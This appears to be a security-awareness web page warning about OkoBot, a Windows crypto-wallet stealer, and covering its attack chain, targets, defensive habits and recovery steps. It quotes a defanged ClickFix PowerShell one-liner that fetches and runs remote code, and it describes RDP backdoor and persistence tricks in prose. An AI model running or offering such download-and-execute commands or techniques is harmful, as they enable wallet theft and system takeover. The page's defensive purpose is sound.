🚨 CONFIRMED THREAT · ACTIVE SINCE 2025 · STILL ACTIVE JUL 2026

New Malware OkoBot is hunting crypto wallets.

A modular Windows stealer with 20+ payloads. It fakes error pages, hijacks GitHub repos, and even pops a fake recovery screen when you plug in your hardware wallet. One seed phrase = your whole balance, gone for good.

ENGLISH EXPLAINERHOW CRYPTO GETS STOLEN
65 SEC · ENGLISH AUDIO
OkoBot security alert infographic
01 / WHAT WE KNOW

Why security teams are sounding the alarm

Most stealers grab files and leave. OkoBot builds a remote-control station on your PC — and waits for the exact moment your wallet is open.

🧩Modular

20+ payloads, on demand

A plugin dispatcher pulls only the modules your machine “deserves” — wallet grabbers, keyloggers, video spy, browser hook. Each piece can be swapped without reinfecting you.

🖥️Remote Access

Full RDP backdoor

Opens firewall ports, creates a remote-user account, patches termsrv.dll for multi-session RDP and keeps a reverse SSH tunnel alive via a scheduled task named “Apple Sync”.

🎣SeedHunter

Phishes your hardware wallet

Injects Trezor Suite, Ledger Wallet & Ledger Live. The moment a device is plugged in, it renders a branded fake recovery page. The hardware stays honest — the app was hijacked.

🎥OkoSpyware

Records 100+ apps

Watches wallets (Exodus, MetaMask, Tonkeeper, Litecoin QT…) and password managers (KeePassXC, 1Password…), recording window video with a bundled FFmpeg while logging every keystroke.

🔑

Your seed phrase is the password to everything. Not a backup, not a support ticket — the master key.

Once it leaves your head and hits a malicious form, the attacker drains the wallet on-chain. No bank, no exchange, no Ledger/Trezor support line can reverse it. Changing the app password changes nothing.

02 / KILL CHAIN

Two doors in. Both are social engineering.

No zero-day required. You are tricked into running the first line yourself — that’s why ClickFix works so well.

🖱️Vector A · ClickFix

“Copy this to fix the error”

A hacked site or fake support page shows a plausible error / captcha / verification step. You copy a block of text and paste it into PowerShell or the Windows Run box (Win+R). It silently fetches and runs the TookPS downloader. No file download prompt, no antivirus pop-up.

DANGER powershell -w hidden "iwr -useb hxxp://2baserec2[.]guru/… | iex"
🐙Vector B · Fake GitHub

“Official tool” at the top of search

A repo mirrors the vendor’s docs and README style perfectly. One real case advertised SQL Server Management Studio — the download was a repackaged Audacity with a malicious protobuf.dll. Indexed by search engines, it outranked the real thing (active Mar–Jun 2025).

LOOK CLOSER github.com/<random>/ssms-install · ⭐ 3 · no releases signed by Microsoft
STAGE 01

You run it

TookPS PowerShell sets up SSH, phones home and forwards a local port. An automated SSH bot connects back.

STAGE 02

Recon & persistence

Harvests username, OS build, AV product, IP. Silences Defender alerts via registry, then opens the RDP door and the “Apple Sync” hourly task.

STAGE 03

The steal

Wallet files, browser cookies/profiles, saved logins, clipboard & keystrokes. Hidden Chromium extensions (Rilide) are installed and hidden from the extensions page.

STAGE 04

Cover the tracks

Artifacts + PowerShell history wiped, temp files encrypted locally as sh_.json, exfil to an ir-post.php endpoint. You notice nothing.

03 / TARGETS

What OkoBot is after

Assume every secret on an infected machine is already in the attacker’s hands.

📜

Seed phrases

Captured via fake recovery pages keyed to each wallet brand, then shipped as a JSON blob (wallet type + HWID + phrase).

🔑

Private keys & wallet files

Exodus, MetaMask, Tonkeeper, Litecoin QT, Ledger Live/Trezor Suite data directories vacuumed up whole.

🍪

Browser session data

Chromium & Edge cookies, autofill, saved passwords, extension storage — enough to ride your exchange session.

📋

Clipboard & screens

Copied addresses, images, file paths + a screenshot every 5 min. Perfect for swapping a paste-in address mid-transfer.

⚠️ Developers & power users are prime targets You pull tools from GitHub, you run PowerShell, you keep a hot wallet on the same machine. That’s exactly the attack surface OkoBot was built around. A clean dev box ≠ a safe wallet box.
04 / DEFENSE

The 8 habits that actually stop it

Print this. Share it in your server. The whole framework falls apart if you refuse the first two.

❌ Never do this

  1. Paste a command from a webpage into PowerShell / Win+RReal support never asks you to run a one-liner. Close the tab instead.
  2. Download a dev tool / wallet “crack” from a random GitHub repoVerify the vendor’s official domain, signed release, and maintainer history.
  3. Type your seed into any popup — even inside Ledger Live or Trezor SuiteRecovery prompts only appear when *you* initiate recovery. Mid-session = phishing.
  4. Disable antivirus or click “Run anyway” to install somethingThat UAC bypass in OkoBot was built for this exact moment.
  5. Keep a large balance on a hot wallet tied to a daily-use PCTreat your trading PC like a public terminal.

✅ Do this instead

  1. Hardware wallet + verify on-deviceThe screen on the device is the only source of truth. Blind-signing still needs a sanity check.
  2. Separate machine for signingA cheap locked-down laptop that never visits GitHub or Discord. Air-gap the big stuff.
  3. Get software from the publisher’s official channel onlyChecksum + signature verify before installing. Search results are not vetted.
  4. Keep seed phrases offline, never in photos, notes, clipboard or cloudPaper + steel plate. That’s the whole game.
  5. Harden Windows: Defender on, RDP off, no unknown scheduled tasksHunt for odd SSH outbound, new “Remote Desktop Users”, and patched termsrv.dll.

✅ Mark your defense checklist

🚨 I think I already pasted that command / entered my seed.

Speed is the only variable you control. The attacker’s bot moves in minutes, but funds sitting in a fresh, clean wallet are safe the moment the old one is drained-empty under your terms.

  1. Stop. Don’t finish the transfer.

    Kill Wi-Fi, unplug the machine, but do not shut down yet if you need to read a balance — just isolate it.

  2. Grab a clean phone or a friend’s device

    A never-infected browser. Restore nothing from this PC’s password manager or clipboard.

  3. Generate a brand-new wallet, on-device

    Hardware wallet preferred. Write the new phrase on paper only. The old phrase is now public — treat it as burned.

  4. Sweep everything to the new wallet immediately

    Use a high-but-fast fee. Double-check the destination on the device screen, not on the infected screen.

  5. Wipe & reinstall the PC, then rotate every credential

    Exchange passwords, 2FA (use a fresh authenticator), API keys, GitHub PATs, SSH keys, password manager vault. Assume browser sessions are cloned.

  6. Report & preserve evidence

    Save the fake page URL, repo, transaction hashes and file hashes. Hand them to your local cybercrime unit / exchange security team and your wallet vendor.

📚 Sources & verification
All technical claims on this page are drawn from the Kaspersky GReAT / Securelist report (published 15 Jul 2026, campaign tracked since Jan 2026, precursors from 2025). Independent coverage: BleepingComputer, The Hacker News, HackRead, SecurityWeek. Kaspersky did not formally attribute the campaign; Russian-language code artifacts and CIS-geoblocked C2 servers are only indicators, not proof of actor identity. IoC list (hashes, domains, paths) is available in the full report.
→ Kaspersky Securelist, “OkoBot: A new malicious framework targeting cryptocurrency users” · Jul 2026
→ This page is an awareness aid, not a substitute for incident response. If assets are moving, contact your exchange and local authorities first.